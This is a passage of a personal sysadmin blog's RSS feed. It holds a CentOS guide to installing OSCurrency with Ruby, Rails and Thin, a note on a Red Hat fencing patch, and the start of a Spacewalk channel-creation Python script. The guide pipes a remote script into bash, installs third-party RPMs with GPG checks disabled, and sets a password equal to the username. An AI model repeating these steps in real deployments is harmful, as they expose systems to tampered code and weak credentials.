<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Soumplis&#039; Personal Web Site</title>
	<atom:link href="http://www.soumplis.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.soumplis.com</link>
	<description>Soumplis Alexandros Personal Web Site</description>
	<lastBuildDate>Mon, 16 Jan 2012 23:16:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>OSCurrency and Thin on CentOS 5.6</title>
		<link>http://www.soumplis.com/2011/07/07/oscurrency-and-thin-on-centos-5-6/</link>
		<comments>http://www.soumplis.com/2011/07/07/oscurrency-and-thin-on-centos-5-6/#comments</comments>
		<pubDate>Wed, 06 Jul 2011 23:47:49 +0000</pubDate>
		<dc:creator>asou</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[gem]]></category>
		<category><![CDATA[oscurrency]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[thin]]></category>

		<guid isPermaLink="false">http://www.soumplis.com/?p=106</guid>
		<description><![CDATA[Installing a Ruby on Rails applications under CentOS can easily be a painful process. Ruby tends to have updated versions very often and unfortunately compatibility between version is usually not the priority for Ruby or Gem developers. This makes Ruby a no-go for stable and slow moving Linux releases such as CentOS.  Having said that [...]]]></description>
			<content:encoded><![CDATA[<p>Installing a Ruby on Rails applications under <a href="http://www.centos.org" target="_blank">CentOS</a> can easily be a painful process. Ruby tends to have updated versions very often and unfortunately compatibility between version is usually not the priority for Ruby or Gem developers. This makes Ruby a no-go for stable and slow moving Linux releases such as CentOS.  Having said that below I&#8217;ll try to share my experience trying to serve <a href="http://www.opensourcecurrency.org/" target="_blank">OSCurrency</a> (a fork of  <a href="https://sites.google.com/a/insoshi.com/insoshi-guides/" target="_blank">Insoshi</a>) out of a CentOS 5.6 server. So let&#8217;s start&#8230;.<span id="more-106"></span></p>
<h3>1. Install some required packages</h3>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;"># Install EPEL Repository</span><br />
<span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>download.fedoraproject.org<span style="color: #000000; font-weight: bold;">/</span>pub<span style="color: #000000; font-weight: bold;">/</span>epel<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">5</span><span style="color: #000000; font-weight: bold;">/</span>i386<span style="color: #000000; font-weight: bold;">/</span>epel-release-<span style="color: #000000;">5</span>-<span style="color: #000000;">4</span>.noarch.rpm<br />
rpm -vih epel-release-<span style="color: #000000;">5</span>-<span style="color: #000000;">4</span>.noarch.rpm<br />
<span style="color: #666666; font-style: italic;"># Install RPMForge Repo</span><br />
<span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>packages.sw.be<span style="color: #000000; font-weight: bold;">/</span>rpmforge-release<span style="color: #000000; font-weight: bold;">/</span>rpmforge-release-0.5.2-<span style="color: #000000;">2</span>.el5.rf.i386.rpm<br />
rpm <span style="color: #660033;">-vih</span> rpmforge-release-0.5.2-<span style="color: #000000;">2</span>.el5.rf.i386.rpm<br />
<br />
<span style="color: #666666; font-style: italic;"># Install Git and some other stuff through yum.</span><br />
<span style="color: #c20cb9; font-weight: bold;">yum</span> <span style="color: #660033;">-y</span> <span style="color: #c20cb9; font-weight: bold;">install</span> <span style="color: #c20cb9; font-weight: bold;">git</span> curl gcc-c++ <span style="color: #c20cb9; font-weight: bold;">patch</span> readline readline-devel \<br />
zlib zlib-devel libyaml-devel libffi-devel openssl-devel <span style="color: #c20cb9; font-weight: bold;">make</span> \<br />
<span style="color: #c20cb9; font-weight: bold;">bzip2</span> iconv-devel</div></div>
<h3>2. Install <a href="http://beginrescueend.com/" target="_blank">rvm</a></h3>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">bash</span> <span style="color: #000000; font-weight: bold;">&lt;</span> <span style="color: #000000; font-weight: bold;">&lt;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>curl <span style="color: #660033;">-s</span> https:<span style="color: #000000; font-weight: bold;">//</span>rvm.beginrescueend.com<span style="color: #000000; font-weight: bold;">/</span>install<span style="color: #000000; font-weight: bold;">/</span>rvm<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;source /usr/local/rvm/scripts/rvm&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bashrc<br />
<br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;PATH=<span style="color: #007800;">$PATH</span>:/usr/local/rvm/gems/ruby-1.8.7-p334/bin:/usr/local/bin&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bashrc<br />
<br />
<span style="color: #7a0874; font-weight: bold;">source</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>rvm<span style="color: #000000; font-weight: bold;">/</span>scripts<span style="color: #000000; font-weight: bold;">/</span>rvm</div></div>
<h3>3. Install <a href="http://www.ruby-lang.org/en/" target="_blank">Ruby 1.8.7</a></p>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">rvm <span style="color: #c20cb9; font-weight: bold;">install</span> 1.8.7<br />
<br />
rvm <span style="color: #660033;">--default</span> use 1.8.7</div></div>
<h3>4. Install <a href="http://rubyonrails.org/" target="_blank">Rails 2.3.11</a> (OSCurrency at the moment is not compatible with Rails 3)</h3>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">gem <span style="color: #c20cb9; font-weight: bold;">install</span> rails <span style="color: #660033;">-v</span>=2.3.11</div></div>
<h3>5. Install and Configure <a href="http://www.postgresql.org/" target="_blank">Postgresql</a></h3>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;"># Install PostgreSQL server, client and developement libraries</span><br />
<br />
<span style="color: #c20cb9; font-weight: bold;">yum</span> <span style="color: #660033;">-y</span> <span style="color: #c20cb9; font-weight: bold;">install</span> postgresql postgresql-server postgresql-devel<br />
<br />
<span style="color: #666666; font-style: italic;"># Enable PostgreSQL on startup and start it</span><br />
<br />
chkconfig postgresql on<br />
<br />
<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>postgresql start<br />
<br />
<span style="color: #666666; font-style: italic;"># Create a postgresql user and a new database</span><br />
<br />
<span style="color: #c20cb9; font-weight: bold;">su</span> - postgresql<br />
<br />
createuser oscurrency<br />
<br />
createdb oscurrency<br />
<br />
<span style="color: #666666; font-style: italic;"># Define a password for the postgresql user and permission to the new database</span><br />
<br />
psql<br />
<br />
alter user oscurrency with encrypted password <span style="color: #ff0000;">'oscurrency'</span>;<br />
<br />
grant all privileges on database oscurrency to oscurrency;<br />
<br />
<span style="color: #666666; font-style: italic;"># Install the appropriate ruby gem</span><br />
<br />
gem <span style="color: #c20cb9; font-weight: bold;">install</span> pg</div></div>
<h3>6. Install some additional gems</h3>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;"># Install Image Magick and its development libraries - we need an updated version</span><br />
<br />
<span style="color: #666666; font-style: italic;"># The RMagick gem requires various specific packages apart from ImageMagick</span><br />
<br />
<span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>d.hatena.ne.jp<span style="color: #000000; font-weight: bold;">/</span>okyohei<span style="color: #000000; font-weight: bold;">/</span>files<span style="color: #000000; font-weight: bold;">/</span>libwebp0-0.1.2-<span style="color: #000000;">1.1</span>.el5.i386.rpm?<span style="color: #007800;">d</span>=download<br />
<br />
rpm <span style="color: #660033;">-vih</span> libwebp0-0.1.2-<span style="color: #000000;">1.1</span>.el5.i386.rpm<br />
<br />
<span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>image_magick.veidrodis.com:<span style="color: #000000;">8003</span><span style="color: #000000; font-weight: bold;">/</span>image_magick<span style="color: #000000; font-weight: bold;">/</span>linux<span style="color: #000000; font-weight: bold;">/</span>CentOS<span style="color: #000000; font-weight: bold;">/</span>i386<span style="color: #000000; font-weight: bold;">/</span>ImageMagick-devel-6.7.0-<span style="color: #000000;">7</span>.i386.rpm<br />
<br />
<span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>image_magick.veidrodis.com:<span style="color: #000000;">8003</span><span style="color: #000000; font-weight: bold;">/</span>image_magick<span style="color: #000000; font-weight: bold;">/</span>linux<span style="color: #000000; font-weight: bold;">/</span>CentOS<span style="color: #000000; font-weight: bold;">/</span>i386<span style="color: #000000; font-weight: bold;">/</span>ImageMagick-6.7.0-<span style="color: #000000;">7</span>.i386.rpm<br />
<br />
<span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>ftp.sunet.se<span style="color: #000000; font-weight: bold;">/</span>pub<span style="color: #000000; font-weight: bold;">/</span>multimedia<span style="color: #000000; font-weight: bold;">/</span>graphics<span style="color: #000000; font-weight: bold;">/</span>ImageMagick<span style="color: #000000; font-weight: bold;">/</span>linux<span style="color: #000000; font-weight: bold;">/</span>CentOS<span style="color: #000000; font-weight: bold;">/</span>i386<span style="color: #000000; font-weight: bold;">/</span>ImageMagick-c++-devel-6.7.0-<span style="color: #000000;">7</span>.i386.rpm<br />
<br />
<span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>ftp.sunet.se<span style="color: #000000; font-weight: bold;">/</span>pub<span style="color: #000000; font-weight: bold;">/</span>multimedia<span style="color: #000000; font-weight: bold;">/</span>graphics<span style="color: #000000; font-weight: bold;">/</span>ImageMagick<span style="color: #000000; font-weight: bold;">/</span>linux<span style="color: #000000; font-weight: bold;">/</span>CentOS<span style="color: #000000; font-weight: bold;">/</span>i386<span style="color: #000000; font-weight: bold;">/</span>ImageMagick-c++-6.7.0-<span style="color: #000000;">7</span>.i386.rpm<br />
<br />
<span style="color: #c20cb9; font-weight: bold;">yum</span> <span style="color: #660033;">-y</span> <span style="color: #c20cb9; font-weight: bold;">install</span> ImageMagick-6.7.0-<span style="color: #000000;">7</span>.i386.rpm ImageMagick-devel-6.7.0-<span style="color: #000000;">7</span>.i386.rpm <span style="color: #660033;">--nogpg</span><br />
<br />
<span style="color: #c20cb9; font-weight: bold;">yum</span> <span style="color: #660033;">-y</span> <span style="color: #c20cb9; font-weight: bold;">install</span> ImageMagick-c++-6.7.0-<span style="color: #000000;">7</span>.i386.rpm ImageMagick-c++-devel-6.7.0-<span style="color: #000000;">7</span>.i386.rpm <span style="color: #660033;">--nogpg</span><br />
<br />
<span style="color: #c20cb9; font-weight: bold;">yum</span> <span style="color: #660033;">-y</span> <span style="color: #c20cb9; font-weight: bold;">install</span> fftw3 fftw3-devel lzma lzma-devel xz xz-devel xz-lzma-compat<br />
<br />
<span style="color: #666666; font-style: italic;"># Install RMagick Gem</span><br />
<br />
gem <span style="color: #c20cb9; font-weight: bold;">install</span> rmagick<br />
<br />
<span style="color: #666666; font-style: italic;"># Install some more gems</span><br />
<br />
gem <span style="color: #c20cb9; font-weight: bold;">install</span> bundler<br />
<br />
bundle <span style="color: #c20cb9; font-weight: bold;">install</span></div></div>
<h3>7. Deploy OSCurrency</h3>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">useradd oscurrency<br />
<br />
<span style="color: #c20cb9; font-weight: bold;">su</span> - oscurrency<br />
<br />
<span style="color: #c20cb9; font-weight: bold;">git clone</span> git:<span style="color: #000000; font-weight: bold;">//</span>github.com<span style="color: #000000; font-weight: bold;">/</span>oscurrency<span style="color: #000000; font-weight: bold;">/</span>oscurrency.git</div></div>
<h3>8. Configure OSCurrency</h3>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">su</span> - oscurrency<br />
<br />
<span style="color: #7a0874; font-weight: bold;">cd</span> oscurrency<br />
<br />
<span style="color: #c20cb9; font-weight: bold;">vi</span> config<span style="color: #000000; font-weight: bold;">/</span>database.yml <span style="color: #666666; font-style: italic;"># Change appropriate to reflect your database</span><br />
<br />
rake <span style="color: #c20cb9; font-weight: bold;">install</span></div></div>
<p>At this point the installation fails and I get the following error:</p>
<p><em>== FullTextSearch1265516526: migrating ======================================= </em></p>
<p><em>rake aborted! An error has occurred, this and all later migrations canceled: </em></p>
<p><em>PGError: ERROR: syntax error at or near &#8220;EXISTS&#8221; at character 23 : </em></p>
<p style="padding-left: 30px;"><em>DROP index IF EXISTS people_fts_idx</em></p>
<p>The only solution I have found is to completely delete the offending file and re-run the install script</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">rm db/migrate/20100207040206_full_text_search_1265516526.rb<br />
<br />
rake install</div></div>
<h3>9. Installation is completed! Now its time to deploy our patches for local installation</h3>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;"># (if you want to use S3, no changes required)</span><br />
<br />
<span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-i</span> <span style="color: #ff0000;">'s/:storage =&amp;gt; :s3,/:storage =&amp;gt; :file_system,/'</span> app<span style="color: #000000; font-weight: bold;">/</span>models<span style="color: #000000; font-weight: bold;">/</span>photo.rb<br />
<br />
<span style="color: #666666; font-style: italic;"># Start the test server</span><br />
<br />
ruby script<span style="color: #000000; font-weight: bold;">/</span>server<br />
<br />
<span style="color: #666666; font-style: italic;"># Check functionality by using a browser on port 3000.</span></div></div>
<h3>10. Install and deploy on Thin</h3>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">gem <span style="color: #c20cb9; font-weight: bold;">install</span> thin<br />
<br />
thin <span style="color: #c20cb9; font-weight: bold;">install</span><br />
<br />
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">&lt;</span> <span style="color: #000000; font-weight: bold;">&lt;</span>EOF <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>thin<span style="color: #000000; font-weight: bold;">/</span>rails_app1.yml<br />
user: oscurrency<br />
group: oscurrency<br />
chdir: <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>oscurrency<span style="color: #000000; font-weight: bold;">/</span>oscurrency<br />
log: log<span style="color: #000000; font-weight: bold;">/</span>thin.log<br />
port: <span style="color: #000000;">3000</span><br />
environment: production<br />
pid: tmp<span style="color: #000000; font-weight: bold;">/</span>pid<span style="color: #000000; font-weight: bold;">/</span>thin.pid<br />
servers: <span style="color: #000000;">1</span><br />
EOF<br />
<br />
<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>thin start</div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.soumplis.com/2011/07/07/oscurrency-and-thin-on-centos-5-6/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
<enclosure url="http://image_magick.veidrodis.com:8003/image_magick/linux/CentOS/i386/ImageMagick-devel-6.7.0-7.i386.rpm" length="86078" type="audio/x-pn-realaudio-plugin" />
<enclosure url="http://image_magick.veidrodis.com:8003/image_magick/linux/CentOS/i386/ImageMagick-6.7.0-7.i386.rpm" length="2344082" type="audio/x-pn-realaudio-plugin" />
		</item>
		<item>
		<title>RedHat Cluster Fence APC PDUs</title>
		<link>http://www.soumplis.com/2010/10/27/redhat-cluster-fence-apc-pdus/</link>
		<comments>http://www.soumplis.com/2010/10/27/redhat-cluster-fence-apc-pdus/#comments</comments>
		<pubDate>Wed, 27 Oct 2010 13:22:16 +0000</pubDate>
		<dc:creator>asou</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[cluster]]></category>
		<category><![CDATA[redhat]]></category>
		<category><![CDATA[snmp]]></category>

		<guid isPermaLink="false">http://www.soumplis.com/?p=84</guid>
		<description><![CDATA[Some time ago I&#8217;ve had to implement fencing on a Redhat cluster consisting of two cluster nodes, in an active-passive setup and two APC AP7921 power distribution units. While playing around with the fence_apc_snmp script as provided by Redhat, I&#8217;ve discovered a bug regarding the return status of an outlet after changing it&#8217;s state. I [...]]]></description>
			<content:encoded><![CDATA[<p>Some time ago I&#8217;ve had to implement fencing on a Redhat cluster consisting of two cluster nodes, in an active-passive setup and two APC AP7921 power distribution units. While playing around with the fence_apc_snmp script as provided by Redhat, I&#8217;ve discovered a bug regarding the return status of an outlet after changing it&#8217;s state. I wrote a patch and submited a  full bug report to Redhat regarding the issue.<span id="more-84"></span></p>
<p>Yesterday I&#8217;ve been informed that the patch has been accepted and got into version fence-1.32.68-5.el4. For more details you can have a look at <a href=" https://bugzilla.redhat.com/show_bug.cgi?id=494587" target="_blank">Bugzilla #494587</a> .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.soumplis.com/2010/10/27/redhat-cluster-fence-apc-pdus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spacewalk Channel Creation</title>
		<link>http://www.soumplis.com/2010/06/09/spacewalk-channel-creation/</link>
		<comments>http://www.soumplis.com/2010/06/09/spacewalk-channel-creation/#comments</comments>
		<pubDate>Wed, 09 Jun 2010 12:42:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Spacewalk]]></category>

		<guid isPermaLink="false">http://www.soumplis.com/?p=77</guid>
		<description><![CDATA[After a long time watching closely the evolution of Spacewalk (you know, the open source Redhat Satellite server), I decided to move on to its version 1.0. I have a working installation with more than 40 clients since version 0.2 and I followed all upgrades until version 0.8. At some time there I decided to [...]]]></description>
			<content:encoded><![CDATA[<p>After a long time watching closely the evolution of Spacewalk (you know, the open source Redhat Satellite server), I decided to move on to its version 1.0. I have a working installation with more than 40 clients since version 0.2 and I followed all upgrades until version 0.8. At some time there I decided to wait for version 1.0 to move to a new server with adequate resources to handle the load. I must admit that I had a secret hope of not installing Oracle again.</p>
<p>I proceeded to the installation as per the spacewalk instructions and everything went smoothly. The I wanted to create my software channel. The plan is to create a Base channel of every  CentOS and Redhat Update release  and then have additional repos as child channels for each. This created a need for almost 20 channels with tens of clicks and repeated input. Ok, I can&#8217;t do it&#8230; I am not a Windows admin thus I hate anything that has to be completed with more than 2-3 clicks&#8230; Time for scripting!</p>
<p>I have downloaded the extended_create_channel.py from <a href="https://fedorahosted.org/spacewalk/wiki/UploadFedoraContent" target="_blank">Spacewalk Wiki</a> in order to use it in a simple bash script. For my disappointment it created channels without essential data such as the GPG keys and Yum Repositories information. It was high time for me to refresh my python to extend the script. The script is here and I believe is quite self explained.</p>
<div class="codecolorer-container python blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span><br />
<span style="color: #808080; font-style: italic;">#</span><br />
<span style="color: #808080; font-style: italic;"># Copyright (c) 2008 Red Hat, Inc.</span><br />
<span style="color: #808080; font-style: italic;">#</span><br />
<span style="color: #808080; font-style: italic;"># This software is licensed to you under the GNU General Public License,</span><br />
<span style="color: #808080; font-style: italic;"># version 2 (GPLv2). There is NO WARRANTY for this software, express or</span><br />
<span style="color: #808080; font-style: italic;"># implied, including the implied warranties of MERCHANTABILITY or FITNESS</span><br />
<span style="color: #808080; font-style: italic;"># FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2</span><br />
<span style="color: #808080; font-style: italic;"># along with this software; if not, see</span><br />
<span style="color: #808080; font-style: italic;"># http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.</span><br />
<span style="color: #808080; font-style: italic;">#</span><br />
<span style="color: #808080; font-style: italic;"># Red Hat trademarks are not licensed under GPLv2. No permission is</span><br />
<span style="color: #808080; font-style: italic;"># granted to use or replicate Red Hat trademarks that are incorporated</span><br />
<span style="color: #808080; font-style: italic;"># in this software or its documentation.</span><br />
<span style="color: #808080; font-style: italic;">#</span><br />
<span style="color: #808080; font-style: italic;"># Note: Alexandros Soumplis - 09 June 2010</span><br />
<span style="color: #808080; font-style: italic;"># Changes: * Support for GPG info definition</span><br />
<span style="color: #808080; font-style: italic;"># &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* Support for Yum Repositories definition</span><br />
<span style="color: #808080; font-style: italic;"># &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* Support for Checksum Type definition</span><br />
<span style="color: #808080; font-style: italic;"># &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* Command Line Arguments Error Handling</span><br />
<span style="color: #808080; font-style: italic;"># &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* Comments and beautification of code</span><br />
<span style="color: #808080; font-style: italic;">#</span><br />
<span style="color: #808080; font-style: italic;"># Note: by JonW 3/7/08</span><br />
<span style="color: #808080; font-style: italic;"># I have extended the original script to include arch and parent channels</span><br />
<span style="color: #808080; font-style: italic;"># to allow child channels to be created by this script.</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">struct</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">xmlrpclib</span><br />
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">optparse</span> <span style="color: #ff7700;font-weight:bold;">import</span> OptionParser<br />
<br />
<span style="color: #808080; font-style: italic;"># options parsing</span><br />
usage <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;%prog [options]&quot;</span><br />
<br />
<span style="color: #dc143c;">parser</span> <span style="color: #66cc66;">=</span> OptionParser<span style="color: black;">&#40;</span>usage<span style="color: #66cc66;">=</span>usage<span style="color: #66cc66;">,</span> description<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--user&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;user&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Spacewalk user with administrative privileges&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--password&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;password&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Spacewalk password&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--host&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;host&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Spacewalk hostname&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--label&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;label&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Channel label&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--name&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;name&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Channel name&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--summary&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;summary&quot;</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Channel summary&quot;</span><span style="color: black;">&#41;</span><br />
<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;--parent&quot;</span><span style="color: #66cc66;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dest<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;parent&quot;</span><span style="color: #66cc66;">,</span> default<span style="color: #66cc66;">=</span><span style="color: #483d8b;">''</span><span style="color: #66cc66;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">help</span><span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;Parent channel label&quot;</span><span style="color: black;">&#41;</span><br />
